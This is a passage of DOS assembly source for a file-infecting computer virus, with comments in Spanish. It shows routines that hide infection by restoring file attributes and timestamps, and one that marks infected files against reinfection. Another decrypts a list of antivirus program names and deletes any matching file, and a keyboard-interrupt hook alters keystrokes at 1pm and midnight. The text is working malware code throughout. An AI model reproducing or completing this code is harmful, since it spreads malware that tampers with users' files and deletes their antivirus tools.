AX,4300h PUSHF CALL cs:dword ptr [oldint21-vstart] MOV cs:[oldfattr-vstart],CX ; guardar los atributos originales en MOV CX,0 ; una variable MOV AX,4301h PUSHF CALL cs:dword ptr [oldint21-vstart] RET restorefattr: ; esta rutina restaura los atributos originales del file CALL retrievename MOV CX,cs:[oldfattr-vstart] MOV AX,4301h PUSHF CALL dword ptr cs:[oldint21-vstart] PUSH CS POP DS RET getftimedate: ; consigue y guarda el time & date del file MOV AX,5700h MOV BX,cs:[fhandle-vstart] INT 21h MOV ds:[fdate-vstart],DX MOV ds:[ftime-vstart],CX RET restoreftd: ; restaura el t&d del file MOV AX,5701h MOV BX,cs:[fhandle-vstart] MOV DX,ds:[fdate-vstart] MOV CX,ds:[ftime-vstart] INT 21h RET retrievename: ; re-poner el nombre del file en DS:DX MOV DX,cs:[nameptr-vstart] MOV DS,cs:[nameptr-vstart+2] RET getlen: ; chequear infeccion previa MOV CX,0FFFFh ; -1 MOV DX,0FFFDh ; -3 MOV BX,ds:[fhandle-vstart] ; get file handle MOV AX,4202h INT 21h MOV ds:[jmpfix-vstart+1],AX MOV CX,3 MOV DX,readbuf-vstart MOV AH,3Fh INT 21h CMP WORD PTR ds:[readbuf-vstart],534Ch ; comparar con "LS" (de "ULS", la marca al final del virus) RET dumberror: ; setear INT 24 (critical error handler, genera el mensaje "disk is ; write protected", etc) a un dumb handler MOV AX,3524h ; get int 24 INT 21h MOV cs:word ptr [offset oldint24-offset vstart],BX; 935 MOV cs:word ptr [offset oldint24-offset vstart+2],ES PUSH DS PUSH DX PUSH CS POP DS MOV DX,newint24-vstart ; 998 MOV AX,2524h; setint24 to dumb shit INT 21h POP DX POP DS RET restorerr: ; restaurar int 24 MOV DX,cs:word ptr [oldint24-vstart] ; OJO ACA! MOV DS,cs:word ptr [oldint24-vstart+2] MOV AX,2524h INT 21h RET checkspace: ; rutina para chequear que el espacio libre en el disco sea suficiente ; para agregar esta nueva copia del virus CLD CALL retrievename ; put name back in DS:DX MOV DI,DX XOR DL,DL CMP BYTE PTR [DI+1],3Ah; hay ':'? ("C:..", "D:..") JNZ nodrive ; hay un drive al principio de la string? MOV DL,[DI] AND DL,1Fh ; ir de caracter "C" a numero 3 para la llamada nodrive: ; si no hay drive, se fija en A:? (0).. MOV AH,36h; get disk free space INT 21h PUSH CS POP DS CMP AX,0FFFFh; invalid drive? JZ invalidrive ; ax sector per cluster, bx nro clusters ; cx bytes per sector MUL BX MUL CX OR DX,DX JNZ okdrive CMP AX,ds:[vsize-vstart]; ??? JB invalidrive okdrive: CLC RET invalidrive: CLC ; CLC+CMC => STC :-) Je! CMC RET checkav: ; esta rutina se fija si el nombre del file es una substring de: ; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". si es asi, borra el file :-) CALL decrypttxt CLD MOV CX,50h MOV AL,'.' PUSH DS POP ES PUSH DX POP DI REPNZ SCASB ; buscar el puntito (hacia adelante) DEC DI PUSH DI POP BX MOV AL,5Ch ; buscar la "\" barra (hacia atras) STD MOV CX,50h REPNZ SCASB ADD DI,2 PUSH DI POP SI SUB BX,DI CLD MOV CX,28h PUSH CS POP ES MOV DI,antivstr-vstart MOV AL,[SI] keepscan: REPNZ SCASB ; scanear caracter * caracter JCXZ abortscan PUSH CX PUSH SI PUSH DI INC SI MOV CX,BX DEC CX REPZ ; es substring o no? CMPSB POP DI POP SI POP CX JNZ keepscan ; si no es, seguir hasta que se acabe el nombre NOT CX INC CX ADD CX,28h; se ignoran los primeros 11 caracteres ("CNCGUARDEMS") CMP CX,0bh; porque, preguntenle a CPW JB quitscan MOV AH,41h ; DELETE FILE ... de onda, viste? :-) INT 21h quitscan: CALL decrypttxt STC RET abortscan: CALL decrypttxt CLC RET decrypttxt: ; esta rutina desencripta el textito de la rutina anterior MOV CX,28h MOV SI,antivstr-vstart decrypt: MOV AL,0FFh SUB AL,cs:[SI] MOV cs:[SI],AL INC SI LOOP decrypt RET newint16: PUSHF CMP AH,0 ; getchar function? JZ getchar ; yeahp.. POPF JMP dword ptr cs:[offset oldint16-offset vstart] getchar: PUSH BX PUSH CX PUSH DX PUSH DS PUSH SI PUSH ES PUSHF CALL cs:dword ptr [offset oldint16-offset vstart] PUSH AX MOV AX,40h MOV ES,AX MOV SI,6Ch ; 40:6C = timer del BIOS MOV AX,es:[SI] MOV DX,es:[SI+2] MOV BX,8003h; 32771 tics * 2 = 65422 tics DIV BX ; 65422 tics / 18.2 tics = 3594.6 segundos SHR AX,1 ; 3594.6 segundos / 60 segundos = 59.9 minutos = 1 hora MOV CH,AL ; (NOTA: No es solo calculitos, tambien lo PROBE, y MOV AX,DX ; efectivamente se dispara a la 1pm y a las 0 hs.) XOR DX,DX MOV BX,444h DIV BX MOV CL,AL POP AX CMP CX,0D00h; Dh = 13. 13 HS. JZ doit CMP CX,0 ; 0 hs. JNZ quit16 doit: PUSH CS POP DS MOV SI,ds:[index-vstart] MOV AL,byte ptr [string4-vstart+si] INC WORD PTR ds:[index-vstart] CMP WORD PTR ds:[index-vstart],12h JNZ quit16 MOV WORD PTR ds:[index-vstart],0 quit16: POP ES POP SI POP DS POP DX POP CX POP BX POPF IRET Marca db "ULS", 5 ; marca para impedir la reinfeccion. vfin: ends end start